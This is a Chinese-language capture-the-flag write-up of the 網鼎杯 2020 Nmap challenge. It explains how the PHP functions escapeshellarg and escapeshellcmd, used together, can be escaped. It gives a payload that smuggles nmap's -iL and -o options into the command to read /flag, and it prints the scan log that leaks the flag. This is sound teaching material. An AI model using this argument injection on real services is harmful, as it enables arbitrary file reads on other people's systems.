1. 程式人生 > 其它 >[網鼎杯 2020 朱雀組]Nmap 1

[網鼎杯 2020 朱雀組]Nmap 1

[網鼎杯 2020 朱雀組]Nmap 1

這個題目主要考察的是nmap的常用命令和escapeshell函式

Nmap 相關引數

-iL 讀取檔案內容,以檔案內容作為搜尋目標
-o 輸出到檔案
舉例

nmap -iL ip_target.txt -o result.txt

掃描ip_target.txt內包含的ip地址,輸出掃描結果至result.txt
讀取檔案結果

# Nmap 6.47 scan initiated Fri Dec 24 06:48:23 2021 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/a9950 -iL /flag -o 22' 127.0.0.1\
Failed to resolve "flag{c5e95c66-f441-496b-ac27-699ea43d5c32}".
WARNING: No targets were specified, so 0 hosts scanned.
# Nmap done at Fri Dec 24 06:48:23 2021 -- 0 IP addresses (0 hosts up) scanned in 0.11 seconds

會提示搜尋內容失敗,然後會寫出來內容是啥,從而實現任意檔案讀取。

escapeshell

分為excapeshellarg()和escapeshellcmd()兩個函式

escapeshellarg()

escapeshellarg — 把字串轉碼為可以在 shell 命令裡使用的引數,保證其作為引數的安全性。

用轉義符轉義所有單引號,然後用單引號包裹,如

123' aa

經過escapeshellarg,先轉義單引號

123\' aa

再用單引號包裹

123'\'' aa

最後,escapeshellarg會將整個字串用單引號包裹,讓字串變成這樣

'123'\'' aa'

escapeshellcmd()

escapeshellcmd - 把字串中可能欺騙shell命令的字元轉義, 用以保證送到system函式或者exec函式的字串是安全的。

可以看到,不光這些字元,轉義符本身還有落單的引號也會被轉義。
這個時候,我們把傳入escapeshellarg的字串拿過來,在經過這個函式的處理。

'123'\'' aa'

轉義後

'123'\\'' aa\'

因為轉義符被轉義,最後的引號便落單,逃逸了出去。這個時候,被輸入的字串不再被當成單個引數處理(不再有引號包裹), 即逃出了這兩個函式。

題目


看上去是會把我們的引數拼接入nmap命令。
我們構建字串

127.0.0.1 -iL /flag -o haha

希望讀取位於根目錄的flag檔案,然後存入結果到haha中。
報錯
看了別的師傅的WP發現經過了這兩個函式的過濾,換用payload

127.0.0.1' -iL /flag -o haha

仍報錯,但可以讀取haha檔案

這裡要注意,引數因為經過了escapeshellcmd函式,被包裹上了引號,所以我們實際輸出結果是輸出到了haha'檔案中,多了一個引號,在這裡也可以看到。